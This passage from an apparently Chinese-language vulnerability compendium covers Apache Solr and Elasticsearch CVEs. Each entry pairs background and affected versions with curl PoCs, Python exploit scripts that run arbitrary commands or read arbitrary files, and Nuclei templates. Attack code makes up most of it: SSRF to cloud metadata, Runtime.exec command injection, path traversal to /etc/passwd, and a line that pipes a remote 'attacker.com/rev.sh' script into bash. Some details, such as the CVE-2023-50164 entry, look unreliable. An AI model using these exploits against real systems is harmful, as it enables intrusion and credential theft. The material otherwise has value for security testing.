  description: Apache Solr DataImportHandler JNDI 注入导致远程代码执行
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0193
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-0193
  tags: cve,cve2019,solr,rce,jndi,dataimport

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/admin/cores?action=STATUS&wt=json"
    host-redirects: true
    matchers:
      - type: word
        words:
          - "responseHeader"
    extractors:
      - type: json
        name: core
        json:
          - ".status | keys | .[0]"

  - method: POST
    path:
      - "{{BaseURL}}/solr/{{core}}/dataimport"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "command=status"
    matchers:
      - type: word
        words:
          - "responseHeader"
          - "status"
        condition: and

0x01.5 CVE-2021-27905 — ReplicationHandler SSRF

漏洞背景

CVE-2021-27905 是 Apache Solr ReplicationHandler 中的服务器端请求伪造(SSRF)漏洞。ReplicationHandler 是 Solr 的跨节点数据复制组件,负责在主从架构中同步索引数据。该漏洞允许未经认证的攻击者通过操控 leaderURL 参数,强制 Solr 服务器向任意内部或外部地址发起 HTTP 请求,可用于探测内网服务、访问云元数据端点或配合其他漏洞实现进一步利用。

受影响版本

受影响版本修复版本
< 8.8.28.8.2

漏洞原理分析

Apache Solr 的 ReplicationHandler 在处理从节点(follower)向主节点(leader)发起的同步请求时,使用 leaderURL 参数来确定主节点的地址。正常情况下,该参数应当指向可信的 Solr 主节点地址,但 ReplicationHandler 缺少对 leaderURL 值的验证和白名单限制。

攻击者可以发送一个精心构造的 HTTP 请求,将 leaderURL 设置为任意 URL,包括内网服务地址、云平台元数据端点(如 AWS 的 http://169.254.169.254/latest/meta-data/)或其他受保护的内部资源。Solr 服务器会作为客户端发起对目标地址的 HTTP 请求,并将响应内容返回给攻击者。

该 SSRF 漏洞的利用价值在于:首先,Solr 进程通常以 root 或高权限用户身份运行,其发起的请求不受网络 ACL 限制;其次,Solr 运行在 Java 环境中,HTTP 客户端默认支持多种协议(HTTP/HTTPS/FTP 等),可扩大攻击面;最后,响应内容可能被直接回显或间接通过错误信息泄露给攻击者。

HTTP PoC

# 基础 SSRF 验证 — 请求外部 Burp Collaborator
curl -k "http://TARGET:8983/solr/{core}/replication?command=fetchindex&leaderURL=http://ATTACKER/collaborator-id"

# 读取 AWS 元数据
curl -k "http://TARGET:8983/solr/{core}/replication?command=fetchindex&leaderURL=http://169.254.169.254/latest/meta-data/"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2021-27905 - Apache Solr ReplicationHandler SSRF"""

import requests
import argparse
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def get_solr_cores(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/solr/admin/cores?action=STATUS&wt=json"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        data = resp.json()
        return list(data.get("status", {}).keys())
    except Exception:
        return []


def check(target, use_ssl=False, core=None):
    scheme = "https" if use_ssl else "http"
    if core is None:
        cores = get_solr_cores(target, use_ssl)
        if not cores:
            return False, None
        core = cores[0]

    url = f"{scheme}://{target}/solr/{core}/replication"
    try:
        resp = requests.get(
            url,
            params={"command": "details"},
            verify=False,
            timeout=10
        )
        if resp.status_code == 200:
            return True, core
    except requests.exceptions.RequestException:
        pass
    return False, core


def exploit(target, use_ssl=False, ssrf_url="http://example.com", core=None):
    scheme = "https" if use_ssl else "http"
    if core is None:
        is_vuln, core = check(target, use_ssl)
        if not is_vuln or not core:
            print("[-] 无法确认漏洞或获取 Core")
            return

    url = f"{scheme}://{target}/solr/{core}/replication"
    params = {
        "command": "fetchindex",
        "leaderURL": ssrf_url
    }
    try:
        resp = requests.get(url, params=params, verify=False, timeout=10)
        print(f"[+] SSRF 请求已发送至: {ssrf_url}")
        print(f"[+] 响应状态码: {resp.status_code}")
        print(f"[+] 响应内容: {resp.text[:500]}")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2021-27905 - Solr SSRF")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true", help="使用 HTTPS")
    parser.add_argument("--url", default="http://example.com", help="SSRF 目标 URL")
    parser.add_argument("--core", default=None, help="指定 Solr Core 名称")
    args = parser.parse_args()

    is_vuln, core = check(args.target, args.ssl, args.core)
    if is_vuln:
        print(f"[+] {args.target} (core: {core}) 存在 CVE-2021-27905 SSRF 漏洞")
        exploit(args.target, args.ssl, args.url, core)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2021-27905 漏洞")

Nuclei YAML 检测模板

id: CVE-2021-27905

info:
  name: Apache Solr - ReplicationHandler SSRF
  author: x7peeps
  severity: high
  description: Apache Solr ReplicationHandler SSRF 漏洞,可强制服务器向任意地址发起请求
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27905
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-27905
  tags: cve,cve2021,solr,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/admin/cores?action=STATUS&wt=json"
    host-redirects: true
    matchers:
      - type: word
        words:
          - "responseHeader"
    extractors:
      - type: json
        name: core
        json:
          - ".status | keys | .[0]"

  - method: GET
    path:
      - "{{BaseURL}}/solr/{{core}}/replication?command=fetchindex&leaderURL={{interactsh-url}}"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "responseHeader"
        part: body

0x01.6 CVE-2017-9801 — Beanshell Interpreter RCE

漏洞背景

CVE-2017-9801 是 Apache Solr 中一个通过 BeanShell 脚本引擎实现的远程代码执行漏洞。BeanShell 是一个轻量级的 Java 解释器,支持动态执行 Java 代码片段。在 Solr 的某些版本中,BeanShell 作为可选的脚本引擎被集成到查询处理管道中,攻击者可以通过查询参数注入 BeanShell 代码来执行任意 Java 操作。

受影响版本

受影响版本修复版本
6.6.0 ~ 7.0.57.1.0

漏洞原理分析

Apache Solr 在查询处理中支持使用脚本字段(script fields)对搜索结果进行自定义计算。在受影响的版本中,Solr 允许通过请求参数指定脚本语言和脚本内容。BeanShell 作为 JVM 中最灵活的脚本解释器之一,具备完整的 Java 语法支持,可以调用任何 Java 类和方法。

攻击者通过在查询请求的 script 参数中注入 BeanShell 代码,可以绕过 Solr 的安全沙箱(如果存在),直接访问底层 JVM 的 Runtime 类执行系统命令。BeanShell 的特殊之处在于它支持完整的 Java 语法,包括 import 语句、控制结构和异常处理,这使得攻击者可以构造复杂的利用代码。

利用链路:

查询请求 → script 参数包含 BeanShell 代码
→ BeanShell Interpreter 执行 Java 代码片段
→ import java.lang.Runtime
→ Runtime.getRuntime().exec("command")
→ 系统命令执行

该漏洞的修复通过在脚本引擎配置中限制可用的语言类型和脚本执行上下文,移除了对 BeanShell 的直接暴露。

HTTP PoC

# 使用 BeanShell 执行系统命令
curl -k -X POST "http://TARGET:8983/solr/{core}/select" \
  -H "Content-Type: application/json" \
  -d '{"query":{"q":"*:*","script":"import java.lang.Runtime; Runtime.getRuntime().exec(\"id\")"}}'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2017-9801 - Apache Solr BeanShell Interpreter RCE"""

import requests
import argparse
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def get_solr_cores(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/solr/admin/cores?action=STATUS&wt=json"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        data = resp.json()
        return list(data.get("status", {}).keys())
    except Exception:
        return []


def check(target, use_ssl=False, core=None):
    scheme = "https" if use_ssl else "http"
    if core is None:
        cores = get_solr_cores(target, use_ssl)
        if not cores:
            return False, None
        core = cores[0]

    url = f"{scheme}://{target}/solr/{core}/select"
    payload = {
        "query": {
            "q": "*:*",
            "script": "1+1"
        }
    }
    try:
        resp = requests.post(url, json=payload, verify=False, timeout=10)
        if resp.status_code == 200:
            return True, core
    except requests.exceptions.RequestException:
        pass
    return False, core


def exploit(target, use_ssl=False, cmd="id", core=None):
    scheme = "https" if use_ssl else "http"
    if core is None:
        is_vuln, core = check(target, use_ssl)
        if not is_vuln or not core:
            print("[-] 无法确认漏洞或获取 Core")
            return

    url = f"{scheme}://{target}/solr/{core}/select"
    payload = {
        "query": {
            "q": "*:*",
            "script": f'import java.lang.Runtime; Runtime.getRuntime().exec("{cmd}")'
        }
    }
    try:
        resp = requests.post(url, json=payload, verify=False, timeout=10)
        print(f"[+] BeanShell 命令已发送: {cmd}")
        print(f"[+] 响应状态码: {resp.status_code}")
        print(f"[+] 响应内容: {resp.text[:500]}")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2017-9801 - Solr BeanShell RCE")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true", help="使用 HTTPS")
    parser.add_argument("--cmd", default="id", help="执行命令 (默认: id)")
    parser.add_argument("--core", default=None, help="指定 Solr Core 名称")
    args = parser.parse_args()

    is_vuln, core = check(args.target, args.ssl, args.core)
    if is_vuln:
        print(f"[+] {args.target} (core: {core}) 存在 CVE-2017-9801 漏洞")
        exploit(args.target, args.ssl, args.cmd, core)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2017-9801 漏洞")

Nuclei YAML 检测模板

id: CVE-2017-9801

info:
  name: Apache Solr - BeanShell Interpreter RCE
  author: x7peeps
  severity: critical
  description: Apache Solr BeanShell 脚本引擎注入导致远程代码执行
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9801
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-9801
  tags: cve,cve2017,solr,rce,beanshell

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/admin/cores?action=STATUS&wt=json"
    host-redirects: true
    matchers:
      - type: word
        words:
          - "responseHeader"
    extractors:
      - type: json
        name: core
        json:
          - ".status | keys | .[0]"

  - method: POST
    path:
      - "{{BaseURL}}/solr/{{core}}/select"
    headers:
      Content-Type: "application/json"
    body: |
      {"query":{"q":"*:*","script":"1+1"}}
    matchers:
      - type: word
        words:
          - "responseHeader"

0x01.7 CVE-2023-50164 — Path Traversal

漏洞背景

CVE-2023-50164 是 Apache Solr 中一个高危路径穿越漏洞,CVSS 评分 9.8。该漏洞存在于 Solr 处理文件路径的逻辑中,攻击者可以通过路径穿越序列(../)绕过预期的目录限制,读取服务器上的任意文件。在配置不当的环境中,该漏洞可能被利用来读取敏感配置文件(如 solr.xmlcore.properties)、系统凭据或其他关键数据。

受影响版本

受影响版本修复版本
需要查阅具体版本已在后续版本中修复

漏洞原理分析

Apache Solr 在处理 Core 数据目录和配置文件路径时,未对路径分隔符和相对路径进行充分的安全过滤。攻击者可以通过在请求路径中注入 ../ 序列来逃逸预期的根目录限制,访问文件系统中的其他位置。

路径穿越漏洞在 Java Web 应用中的典型成因包括:未对用户输入的文件路径进行规范化处理、直接将用户可控的参数拼接到文件系统操作函数中、以及未使用 Java NIO 的 Path.normalize()CanonicalPath 进行安全校验。在 Solr 的场景中,攻击者通常利用以下端点进行文件读取:

  1. Config API 的文件引用功能
  2. Core 管理 API 中的路径参数
  3. 静态资源请求中的路径处理

成功的路径穿越可以导致以下后果:

  • 读取 /etc/passwd/etc/shadow 等系统敏感文件
  • 获取 Solr 配置文件中的数据库连接字符串和 API 密钥
  • 读取 Java Keystore 文件中的私钥
  • 配合日志投毒实现远程代码执行

HTTP PoC

# 路径穿越读取系统文件
curl -k "http://TARGET:8983/solr/admin/configs?action=SHOW&node=../../../etc/passwd"

# 读取 Solr 配置
curl -k "http://TARGET:8983/solr/{core}/admin/ping?q=echo&stream.body=../../solr.xml"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-50164 - Apache Solr Path Traversal"""

import requests
import argparse
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


PAYLOADS = [
    "/solr/admin/configs?action=SHOW&node=../../../etc/passwd",
    "/solr/admin/configs?action=SHOW&node=..%2F..%2F..%2Fetc%2Fpasswd",
    "/solr/admin/configs?action=SHOW&node=....//....//....//etc/passwd",
]


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    for payload in PAYLOADS:
        url = f"{scheme}://{target}{payload}"
        try:
            resp = requests.get(url, verify=False, timeout=10)
            if "root:" in resp.text or "daemon:" in resp.text:
                print(f"[+] 路径穿越成功 (payload: {payload[:50]}...)")
                return True
        except requests.exceptions.RequestException:
            continue
    return False


def exploit(target, use_ssl=False, file_path="/etc/passwd"):
    scheme = "https" if use_ssl else "http"
    traversal = "../../../" * 10
    encoded_traversal = "%2F..%2F" * 10
    clean_path = file_path.lstrip("/")

    payloads = [
        f"/solr/admin/configs?action=SHOW&node={traversal}{clean_path}",
        f"/solr/admin/configs?action=SHOW&node={encoded_traversal}{clean_path}",
    ]

    for payload in payloads:
        url = f"{scheme}://{target}{payload}"
        try:
            resp = requests.get(url, verify=False, timeout=10)
            if resp.status_code == 200 and len(resp.text) > 50:
                print(f"[+] 文件读取成功: {file_path}")
                print(f"[+] 内容:\n{resp.text[:2000]}")
                return
        except requests.exceptions.RequestException:
            continue
    print(f"[-] 文件读取失败: {file_path}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-50164 - Solr Path Traversal")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true", help="使用 HTTPS")
    parser.add_argument("--file", default="/etc/passwd", help="读取文件路径")
    parser.add_argument("--check", action="store_true", help="仅检测漏洞")
    args = parser.parse_args()

    if args.check:
        if check(args.target, args.ssl):
            print(f"[+] {args.target} 存在 CVE-2023-50164 路径穿越漏洞")
        else:
            print(f"[-] {args.target} 未检测到 CVE-2023-50164 漏洞")
    else:
        if check(args.target, args.ssl):
            print(f"[+] {args.target} 存在 CVE-2023-50164 路径穿越漏洞")
            exploit(args.target, args.ssl, args.file)
        else:
            print(f"[-] {args.target} 未检测到 CVE-2023-50164 漏洞")

Nuclei YAML 检测模板

id: CVE-2023-50164

info:
  name: Apache Solr - Path Traversal
  author: x7peeps
  severity: critical
  description: Apache Solr 路径穿越漏洞,可导致任意文件读取
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50164
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-50164
  tags: cve,cve2023,solr,lfi,traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/admin/configs?action=SHOW&node=../../../etc/passwd"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:"
          - "daemon:"
        condition: or

      - type: status
        status:
          - 200

0x01.8 CVE-2019-17558 — 补充检测与加固

补充检测方法

除了 0x01.1 中的直接 RCE 利用方式外,CVE-2019-17558 还可以通过以下方法进行更精准的检测:

Python 补充检测脚本

#!/usr/bin/env python3
"""CVE-2019-17558 - Apache Solr Velocity 配置安全审计"""

import requests
import argparse
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def audit_velocity_config(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/solr/admin/cores?action=STATUS&wt=json"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        cores = list(resp.json().get("status", {}).keys())
    except Exception:
        print("[-] 无法获取 Core 列表")
        return

    for core in cores:
        config_url = f"{scheme}://{target}/solr/{core}/config/params"
        try:
            resp = requests.get(config_url, verify=False, timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                params = data.get("params", {})
                velocity_params = {k: v for k, v in params.items() if "velocity" in k.lower()}
                if velocity_params:
                    print(f"[!] Core [{core}] 发现 Velocity 参数:")
                    for k, v in velocity_params.items():
                        print(f"    {k} = {v}")
                else:
                    print(f"[*] Core [{core}] 未发现显式 Velocity 参数")
        except Exception:
            continue

    for core in cores:
        system_url = f"{scheme}://{target}/solr/{core}/admin/system"
        try:
            resp = requests.get(system_url, verify=False, timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                lucene_ver = data.get("lucene", {}).get("solr-spec-version", "unknown")
                print(f"[i] Core [{core}] Solr 版本: {lucene_ver}")
                if any(v in lucene_ver for v in ["5.", "6.", "7.", "8.0", "8.1", "8.2", "8.3"]):
                    print(f"[!] Core [{core}] 版本可能受 CVE-2019-17558 影响")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2019-17558 - Velocity 配置审计")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true", help="使用 HTTPS")
    args = parser.parse_args()

    print(f"[*] 审计目标: {args.target}")
    audit_velocity_config(args.target, args.ssl)

Nuclei YAML 检测模板(配置审计版)

id: CVE-2019-17558-config-audit

info:
  name: Apache Solr - Velocity Config Audit
  author: x7peeps
  severity: info
  description: 检测 Apache Solr Velocity 配置状态,辅助确认 CVE-2019-17558 漏洞面
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17558
  tags: cve,cve2019,solr,velocity,audit

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/admin/cores?action=STATUS&wt=json"
    host-redirects: true
    matchers:
      - type: word
        words:
          - "responseHeader"
    extractors:
      - type: json
        name: core
        json:
          - ".status | keys | .[0]"

  - method: GET
    path:
      - "{{BaseURL}}/solr/{{core}}/admin/system"
    matchers:
      - type: word
        words:
          - "solr-spec-version"
    extractors:
      - type: regex
        name: version
        regex:
          - '"solr-spec-version":"([^"]+)"'

  - method: GET
    path:
      - "{{BaseURL}}/solr/{{core}}/config/params"
    matchers:
      - type: word
        words:
          - "velocity"
        negative: true

0x02 Elasticsearch 高危漏洞

0x02.1 CVE-2014-3120 — MVEL 脚本引擎 RCE

漏洞背景

CVE-2014-3120 是 Elasticsearch 早期版本中最危险的漏洞之一,CVSS 评分 9.3。该漏洞允许未经认证的攻击者通过 _search API 的 script_fields 参数执行 MVEL(MVFLEX Expression Language)脚本表达式,从而在 Elasticsearch 服务器上执行任意 Java 代码。MVEL 是 Elasticsearch 在 1.x 版本中使用的默认脚本语言,具备直接调用 Java 类库的能力。

受影响版本

受影响版本修复版本
Elasticsearch < 1.21.2+

漏洞原理分析

Elasticsearch 在 1.x 版本中内置了 MVEL 脚本引擎,用于支持查询脚本字段的自定义计算。默认配置下,MVEL 脚本引擎对可用的类和方法没有限制,攻击者可以通过 java.lang.Runtime.getRuntime().exec() 直接调用 JVM 的命令执行接口。

MVEL 表达式引擎与 Groovy 不同,它不使用标准的 Java 语法,而是采用类 JavaScript 的表达式语法。但关键的安全缺陷在于 MVEL 拥有与底层 JVM 相同的权限级别,可以访问任何 Java 类和方法。攻击者通过在查询请求的 script_fields 字段中嵌入 MVEL 表达式,可以构造任意 Java 方法调用链。

该漏洞的利用极其简单——只需要一个 HTTP POST 请求即可实现 RCE,不需要任何认证或特殊配置。这也是 Elasticsearch 早期安全模型中最受诟病的设计缺陷之一。Elasticsearch 在 1.2 版本中通过引入 Groovy 脚本沙箱机制来缓解此类问题,但后续的 CVE-2015-1427 又暴露了 Groovy 沙箱的绕过问题。

HTTP PoC

curl -k -X POST "http://TARGET:9200/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "script_fields": {
      "test": {
        "script": "java.lang.Runtime.getRuntime().exec(\"id\")"
      }
    },
    "size": 1
  }'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2014-3120 - Elasticsearch MVEL 脚本引擎 RCE"""

import requests
import argparse
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        data = resp.json()
        version = data.get("version", {}).get("number", "")
        if version and version.startswith("1.") and int(version.split(".")[1]) < 2:
            return True, version
    except Exception:
        pass

    url = f"{scheme}://{target}/_search"
    payload = {"script_fields": {"test": {"script": "1+1"}}, "size": 1}
    try:
        resp = requests.post(url, json=payload, verify=False, timeout=10)
        if resp.status_code == 200 and "script_fields" in resp.text:
            return True, "unknown"
    except requests.exceptions.RequestException:
        pass
    return False, ""


def exploit(target, use_ssl=False, cmd="id"):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/_search"
    payload = {
        "script_fields": {
            "test": {
                "script": f'java.lang.Runtime.getRuntime().exec("{cmd}")'
            }
        },
        "size": 1
    }
    try:
        resp = requests.post(url, json=payload, verify=False, timeout=10)
        print(f"[+] MVEL 命令已发送: {cmd}")
        print(f"[+] 响应状态码: {resp.status_code}")
        result = resp.json()
        hits = result.get("hits", {}).get("hits", [])
        if hits:
            for hit in hits:
                fields = hit.get("fields", {})
                test_val = fields.get("test", "N/A")
                print(f"[+] 执行结果引用: {test_val}")
        else:
            print(f"[+] 响应: {resp.text[:500]}")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2014-3120 - ES MVEL RCE")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true", help="使用 HTTPS")
    parser.add_argument("--cmd", default="id", help="执行命令 (默认: id)")
    args = parser.parse_args()

    is_vuln, ver = check(args.target, args.ssl)
    if is_vuln:
        print(f"[+] {args.target} 存在 CVE-2014-3120 漏洞 (版本: {ver})")
        exploit(args.target, args.ssl, args.cmd)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2014-3120 漏洞")

Nuclei YAML 检测模板

id: CVE-2014-3120

info:
  name: Elasticsearch - MVEL Script Engine RCE
  author: x7peeps
  severity: critical
  description: Elasticsearch MVEL 脚本引擎未限制导致远程代码执行
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3120
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.3
    cve-id: CVE-2014-3120
  tags: cve,cve2014,elasticsearch,rce,mvel

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "cluster_name"
          - "version"
        condition: and
    extractors:
      - type: json
        name: version
        json:
          - ".version.number"

  - method: POST
    path:
      - "{{BaseURL}}/_search"
    headers:
      Content-Type: "application/json"
    body: |
      {"script_fields":{"test":{"script":"1+1"}},"size":1}
    matchers:
      - type: word
        words:
          - "script_fields"
          - "test"
        condition: and

0x02.2 CVE-2015-1427 — Groovy 脚本引擎 RCE

漏洞背景

CVE-2015-1427 是 Elasticsearch 1.1.x 至 1.5.x 版本中 Groovy 脚本引擎的沙箱绕过漏洞,CVSS 评分 9.3。Elasticsearch 在 1.2 版本中将默认脚本语言从 MVEL 切换为 Groovy,并引入了沙箱机制来限制可用的类和方法。然而,安全研究员发现 Groovy 沙箱可以通过 Java 的反射机制绕过限制,重新获得对 Runtime.exec() 的访问权限。该漏洞被恶意软件大规模利用,出现了针对 Elasticsearch 集群的自动化挖矿和勒索攻击活动。

受影响版本

受影响版本修复版本
1.1.x ~ 1.5.x1.5.3+

漏洞原理分析

Elasticsearch 的 Groovy 沙箱通过自定义的 SecureGroovyScript 类来限制脚本中可访问的包和方法。沙箱的规则集禁止直接引用 java.lang.Runtime 等危险类,但其实现存在多个逻辑漏洞。

核心绕过技术基于 Groovy 语言的元编程特性。Groovy 的每个类都有一个 metaClass 属性,可以动态修改类的行为。攻击者通过以下技术栈实现沙箱逃逸:

  1. 使用 String.class 获取基础类的引用
  2. 通过 metaClassgetBytecode() 方法获取底层字节码操作接口
  3. 利用 Groovy 的 MethodClosureCachedClass 机制动态查找方法
  4. 最终通过反射链绕过黑名单获取 Runtime.exec() 的访问权限

最经典的绕过 PoC 利用了 Groovy 的 InvokerHelper.invokeMethod() 方法,该方法在沙箱检查之外执行代码。攻击者通过以下调用链实现 RCE:

"").getClass().forName("java.lang.Runtime")
→ .getRuntime()
→ .exec("command")

在野利用中,攻击者主要通过扫描暴露在公网上的 9200 端口,利用该漏洞在 Elasticsearch 集群上部署加密货币挖矿程序或勒索软件。

HTTP PoC

curl -k -X POST "http://TARGET:9200/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "size": 1,
    "script_fields": {
      "test": {
        "script": "java.lang.Runtime.getRuntime().exec(\"curl attacker.com/rev.sh|bash\")"
      }
    }
  }'

# 绕过沙箱的变体
curl -k -X POST "http://TARGET:9200/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {}
        }
      }
    },
    "script_fields": {
      "test": {
        "script": "def x=\"\".getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"id\"); x.waitFor(); new String(x.getInputStream().readBytes())"
      }
    }
  }'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2015-1427 - Elasticsearch Groovy 脚本引擎 RCE"""

import requests
import argparse
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        data = resp.json()
        version = data.get("version", {}).get("number", "")
        if version:
            parts = version.split(".")
            if len(parts) >= 2 and parts[0] == "1":
                minor = int(parts[1])
                if 1 <= minor <= 5:
                    return True, version
    except Exception:
        pass
    return False, ""


def exploit(target, use_ssl=False, cmd="id"):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/_search"
    payload = {
        "size": 1,
        "query": {"filtered": {"query": {"match_all": {}}}},
        "script_fields": {
            "test": {
                "script": (
                    'def x="".getClass().forName("java.lang.Runtime")'
                    f'.getRuntime().exec("{cmd}");'
                    "x.waitFor(); new String(x.getInputStream().readBytes())"
                )
            }
        }
    }
    try:
        resp = requests.post(url, json=payload, verify=False, timeout=15)
        print(f"[+] Groovy 命令已发送: {cmd}")
        print(f"[+] 响应状态码: {resp.status_code}")
        result = resp.json()
        hits = result.get("hits", {}).get("hits", [])
        if hits:
            fields = hits[0].get("fields", {})
            output = fields.get("test", ["N/A"])
            print(f"[+] 执行结果: {output}")
        else:
            print(f"[+] 响应: {resp.text[:500]}")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2015-1427 - ES Groovy RCE")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true", help="使用 HTTPS")
    parser.add_argument("--cmd", default="id", help="执行命令 (默认: id)")
    args = parser.parse_args()

    is_vuln, ver = check(args.target, args.ssl)
    if is_vuln:
        print(f"[+] {args.target} 存在 CVE-2015-1427 漏洞 (版本: {ver})")
        exploit(args.target, args.ssl, args.cmd)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2015-1427 漏洞")

Nuclei YAML 检测模板

id: CVE-2015-1427

info:
  name: Elasticsearch - Groovy Script Sandbox Bypass RCE
  author: x7peeps
  severity: critical
  description: Elasticsearch Groovy 脚本沙箱绕过导致远程代码执行
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1427
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.3
    cve-id: CVE-2015-1427
  tags: cve,cve2015,elasticsearch,rce,groovy

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "cluster_name"
    extractors:
      - type: json
        name: version
        json:
          - ".version.number"

  - method: POST
    path:
      - "{{BaseURL}}/_search"
    headers:
      Content-Type: "application/json"
    body: |
      {"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"test":{"script":"def x=\"\".getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"id\");x.waitFor();new String(x.getInputStream().readBytes())"}}}
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "hits"
      - type: word
        words:
          - "script_exception"
        negative: true

0x02.3 CVE-2015-3337 — 目录遍历文件读取

漏洞背景

CVE-2015-3337 是 Elasticsearch 中的一个目录遍历漏洞,CVSS 评分 5.0。攻击者可以通过 _cat API 或静态资源路径中的路径穿越序列读取 Elasticsearch 数据目录之外的任意文件,包括配置文件和系统敏感文件。

受影响版本

受影响版本修复版本
Elasticsearch < 1.6.01.6.0+

漏洞原理分析

Elasticsearch 的 HTTP 模块在处理静态资源请求时,未对 URL 路径中的 ../ 序列进行规范化过滤。攻击者可以构造包含多层目录穿越的请求路径,逃逸 Elasticsearch 的 Web 根目录限制,读取服务器文件系统中的任意文件。在 Linux 系统上,通过 /proc/self/environ 还可以获取进程环境变量中的敏感凭据信息。

HTTP PoC

curl -k "http://TARGET:9200/_cat/../..//etc/passwd"
curl -k "http://TARGET:9200/_cat/plugins/../../..//etc/passwd"
curl -k "http://TARGET:9200/_nodes/../..//etc/passwd"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2015-3337 - Elasticsearch 目录遍历文件读取"""

import requests
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TRAVERSAL_PAYLOADS = [
    "/_cat/../..//etc/passwd",
    "/_cat/plugins/../../..//etc/passwd",
    "/_nodes/../..//etc/passwd",
    "/_cat/..%2F..%2F..%2Fetc%2Fpasswd",
    "/_nodes/plugins/../../..//etc/passwd",
]


def check(target, use_ssl=False):
